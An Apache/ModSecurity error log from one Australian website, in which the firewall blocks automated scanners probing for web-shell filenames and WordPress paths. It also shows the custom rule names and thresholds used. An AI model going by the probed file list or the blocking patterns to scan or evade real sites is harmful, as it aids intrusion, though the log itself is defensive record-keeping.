[Sat Apr 11 14:11:52.299968 2026] [:error] [pid 2297:tid 2313] [client 157.15.40.61:59116] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "adnmKLXJS-Jji11jZk3bmQAAAQw"]
[Sat Apr 11 14:11:53.327831 2026] [:error] [pid 11067:tid 11074] [client 157.15.40.61:59325] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/dex.php"] [unique_id "adnmKcW3w7N67R04YCKTngAAAEU"]
[Sat Apr 11 14:11:55.431459 2026] [:error] [pid 11067:tid 11089] [client 157.15.40.61:59501] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adnmK8W3w7N67R04YCKUUQAAAFQ"]
[Sat Apr 11 14:11:56.709127 2026] [:error] [pid 11067:tid 11090] [client 157.15.40.61:59788] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "adnmLMW3w7N67R04YCKVAwAAAFU"]
[Sat Apr 11 14:11:56.955366 2026] [:error] [pid 11067:tid 11090] [client 157.15.40.61:60074] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "adnmLMW3w7N67R04YCKVFwAAAFU"]
[Sat Apr 11 14:11:57.213538 2026] [:error] [pid 2186:tid 2193] [client 157.15.40.61:60122] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/zwso.php"] [unique_id "adnmLcibnOEEvcO8wPL-3gAAAIM"]
[Sat Apr 11 14:11:58.558848 2026] [:error] [pid 2187:tid 2226] [client 157.15.40.61:60500] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "adnmLg4J29_qQi0FkjiJqgAAAAA"]
[Sat Apr 11 14:11:58.817496 2026] [:error] [pid 11067:tid 11089] [client 157.15.40.61:60583] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "adnmLsW3w7N67R04YCKV7QAAAFQ"]
[Sat Apr 11 14:11:59.083817 2026] [:error] [pid 2187:tid 2231] [client 157.15.40.61:60650] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "adnmLw4J29_qQi0FkjiJvAAAAAM"]
[Sat Apr 11 14:12:00.355769 2026] [:error] [pid 2187:tid 2239] [client 157.15.40.61:60714] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/133.php"] [unique_id "adnmMA4J29_qQi0FkjiJ1wAAAAs"]
[Sat Apr 11 14:12:01.627637 2026] [:error] [pid 11067:tid 11091] [client 157.15.40.61:60960] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "adnmMcW3w7N67R04YCKWlQAAAFY"]
[Sat Apr 11 14:12:02.270772 2026] [:error] [pid 2188:tid 2269] [client 157.15.40.61:61257] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/php8.php"] [unique_id "adnmMoDhDA-Xtn2nRScMAQAAAM0"]
[Sat Apr 11 14:12:02.521585 2026] [:error] [pid 2188:tid 2277] [client 157.15.40.61:61303] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/lufix1.php"] [unique_id "adnmMoDhDA-Xtn2nRScMCQAAANU"]
[Sat Apr 11 14:12:04.840724 2026] [:error] [pid 2188:tid 2269] [client 157.15.40.61:61670] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/witmm.php"] [unique_id "adnmNIDhDA-Xtn2nRScMRQAAAM0"]
[Sat Apr 11 14:12:05.496745 2026] [:error] [pid 11067:tid 11076] [client 157.15.40.61:64761] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "adnmNcW3w7N67R04YCKW-gAAAEc"]
[Sat Apr 11 14:12:13.460646 2026] [:error] [pid 2188:tid 2266] [client 157.15.40.61:50676] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "adnmPYDhDA-Xtn2nRScMhgAAAMo"]
[Sat Apr 11 14:12:19.358334 2026] [:error] [pid 11067:tid 11091] [client 157.15.40.61:50966] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adnmQ8W3w7N67R04YCKXxgAAAFY"]
[Sat Apr 11 14:12:28.640648 2026] [:error] [pid 2188:tid 2278] [client 157.15.40.61:52700] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "adnmTIDhDA-Xtn2nRScM9wAAANY"]
[Sat Apr 11 14:12:28.899425 2026] [:error] [pid 11067:tid 11087] [client 157.15.40.61:52727] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "adnmTMW3w7N67R04YCKYUAAAAFI"]
[Sat Apr 11 14:12:30.107142 2026] [:error] [pid 2187:tid 2234] [client 157.15.40.61:52889] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "adnmTg4J29_qQi0FkjiKrwAAAAY"]
[Sat Apr 11 14:12:30.831925 2026] [:error] [pid 2297:tid 2325] [client 157.15.40.61:52989] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-editor.php"] [unique_id "adnmTrXJS-Jji11jZk3dxQAAARg"]
[Sat Apr 11 15:50:36.210083 2026] [:error] [pid 2187:tid 2250] [client 34.48.55.212:61829] [client 34.48.55.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.48.55.212, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adn9TA4J29_qQi0FkjinSQAAABY"]
[Sat Apr 11 15:50:36.219654 2026] [proxy_fcgi:error] [pid 2187:tid 2250] [client 34.48.55.212:61829] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 15:50:40.077272 2026] [:error] [pid 2187:tid 2235] [client 34.48.55.212:61829] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adn9UA4J29_qQi0FkjinVAAAAAc"]
[Sat Apr 11 15:50:40.507458 2026] [:error] [pid 2297:tid 2321] [client 34.48.55.212:53159] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adn9ULXJS-Jji11jZk0L_AAAARQ"]
[Sat Apr 11 15:50:40.940328 2026] [:error] [pid 11067:tid 11079] [client 34.48.55.212:61251] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adn9UMW3w7N67R04YCLaZQAAAEo"]
[Sat Apr 11 15:50:41.369311 2026] [:error] [pid 2187:tid 2242] [client 34.48.55.212:63064] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adn9UQ4J29_qQi0FkjinVQAAAA4"]
[Sat Apr 11 15:50:41.797314 2026] [:error] [pid 11067:tid 11081] [client 34.48.55.212:52245] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adn9UcW3w7N67R04YCLaaQAAAEw"]
[Sat Apr 11 15:50:42.221121 2026] [:error] [pid 11067:tid 11090] [client 34.48.55.212:49850] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adn9UsW3w7N67R04YCLabAAAAFU"]
[Sat Apr 11 15:50:42.657405 2026] [:error] [pid 11067:tid 11074] [client 34.48.55.212:52212] [client 34.48.55.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adn9UsW3w7N67R04YCLabwAAAEU"]
[Sat Apr 11 20:16:12.431195 2026] [:error] [pid 54520:tid 54599] [client 180.252.89.51:62312] [client 180.252.89.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.89.51, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ado7jMOfMlnGwwoJrMCpFgAAAFc"]
[Sat Apr 11 20:16:12.442168 2026] [proxy_fcgi:error] [pid 54520:tid 54599] [client 180.252.89.51:62312] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:36.750354 2026] [proxy_fcgi:error] [pid 42313:tid 42318] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:37.006369 2026] [proxy_fcgi:error] [pid 42313:tid 42317] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:37.265256 2026] [proxy_fcgi:error] [pid 42313:tid 42322] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:37.522413 2026] [proxy_fcgi:error] [pid 42313:tid 42336] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:37.778341 2026] [proxy_fcgi:error] [pid 42313:tid 42323] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:38.034561 2026] [proxy_fcgi:error] [pid 42313:tid 42330] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:38.292501 2026] [proxy_fcgi:error] [pid 42313:tid 42328] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:38.551739 2026] [proxy_fcgi:error] [pid 42313:tid 42324] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:38.808094 2026] [proxy_fcgi:error] [pid 42313:tid 42339] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:39.064187 2026] [proxy_fcgi:error] [pid 42313:tid 42325] [client 20.215.64.75:11145] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 21:39:39.318831 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11145] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nwflm.php"] [unique_id "adpPG12P8TxdbaN018IuegAAAAQ"]
[Sat Apr 11 21:39:39.856981 2026] [:error] [pid 42220:tid 42269] [client 20.215.64.75:11206] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nwflm.php"] [unique_id "adpPG0z5c3Cs6a8B5QuDRwAAANI"]
[Sat Apr 11 21:39:40.419483 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:11231] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nwflm.php"] [unique_id "adpPHF2P8TxdbaN018IuewAAAAI"]
[Sat Apr 11 21:39:40.928610 2026] [:error] [pid 42220:tid 42263] [client 20.215.64.75:11144] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nwflm.php"] [unique_id "adpPHEz5c3Cs6a8B5QuDSwAAAMw"]
[Sat Apr 11 21:39:41.435331 2026] [:error] [pid 42220:tid 42274] [client 20.215.64.75:11152] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "adpPHUz5c3Cs6a8B5QuDTgAAANc"]
[Sat Apr 11 21:39:41.940128 2026] [:error] [pid 42313:tid 42336] [client 20.215.64.75:11256] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "adpPHV2P8TxdbaN018IugAAAABQ"]
[Sat Apr 11 21:39:42.444579 2026] [:error] [pid 42313:tid 42332] [client 20.215.64.75:11234] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "adpPHl2P8TxdbaN018IugwAAABA"]
[Sat Apr 11 21:39:42.951425 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11219] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dx.php"] [unique_id "adpPHl2P8TxdbaN018IuhgAAAAA"]
[Sat Apr 11 21:39:43.456907 2026] [:error] [pid 42221:tid 42280] [client 20.215.64.75:11140] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "adpPH02gt0pb_0-cc6mGQwAAAEI"]
[Sat Apr 11 21:39:43.962572 2026] [:error] [pid 42219:tid 42224] [client 20.215.64.75:11250] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "adpPHw-4IkVbTQx_J-2A9gAAAIE"]
[Sat Apr 11 21:39:44.466460 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11146] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "adpPIF2P8TxdbaN018IuiAAAABM"]
[Sat Apr 11 21:39:44.971114 2026] [:error] [pid 42313:tid 42322] [client 20.215.64.75:11242] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xff.php"] [unique_id "adpPIF2P8TxdbaN018IujwAAAAY"]
[Sat Apr 11 21:39:45.478057 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:11200] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lupo.php"] [unique_id "adpPIV2P8TxdbaN018IukQAAAAg"]
[Sat Apr 11 21:39:45.995275 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:11251] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lupo.php"] [unique_id "adpPIU2gt0pb_0-cc6mGRQAAAFI"]
[Sat Apr 11 21:39:46.514202 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:11233] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lupo.php"] [unique_id "adpPIl2P8TxdbaN018IulwAAABI"]
[Sat Apr 11 21:39:47.029584 2026] [:error] [pid 42313:tid 42328] [client 20.215.64.75:11241] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lupo.php"] [unique_id "adpPI12P8TxdbaN018IungAAAAw"]
[Sat Apr 11 21:39:47.590104 2026] [:error] [pid 42220:tid 42266] [client 20.215.64.75:11170] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/awa.php"] [unique_id "adpPI0z5c3Cs6a8B5QuDVwAAAM8"]
[Sat Apr 11 21:39:48.095213 2026] [:error] [pid 42220:tid 42274] [client 20.215.64.75:11246] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/awa.php"] [unique_id "adpPJEz5c3Cs6a8B5QuDWQAAANc"]
[Sat Apr 11 21:39:48.599365 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11149] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/awa.php"] [unique_id "adpPJE2gt0pb_0-cc6mGSAAAAEo"]
[Sat Apr 11 21:39:49.104287 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:11221] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/awa.php"] [unique_id "adpPJU2gt0pb_0-cc6mGSQAAAFM"]
[Sat Apr 11 21:39:49.622395 2026] [:error] [pid 42219:tid 42241] [client 20.215.64.75:11136] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/popo.php"] [unique_id "adpPJQ-4IkVbTQx_J-2A_wAAAJI"]
[Sat Apr 11 21:39:50.146660 2026] [:error] [pid 42219:tid 42228] [client 20.215.64.75:11141] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/popo.php"] [unique_id "adpPJg-4IkVbTQx_J-2BAAAAAIU"]
